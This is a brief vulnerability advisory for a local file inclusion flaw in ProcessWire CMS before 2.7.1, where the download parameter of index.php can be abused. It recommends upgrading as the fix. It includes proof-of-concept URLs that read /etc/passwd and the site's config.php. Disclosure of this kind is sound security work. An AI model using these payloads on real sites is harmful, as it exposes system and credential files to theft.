# LFI-ProcessWire CMS

Local File Inclusion ProcessWire CMS < 2.7.1

Product: <https://processwire.com/>

Vendor: ProcessWire CMS

Tested version: 2.x < 2.7.1

**Description**

Local File Inclusion in Processwire CMS < 2.7.1 allows to retrieve arbitrary files via the download parameter to index.php By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.

**Proof of Concept**

`http://index.php?download=/etc/passwd`

`http://index.php?download=../config.php`

**Solution**

## Upgrade ProcessWire CMS to version 2.7.1 or later.

Best Regards, Y1LD1R1M
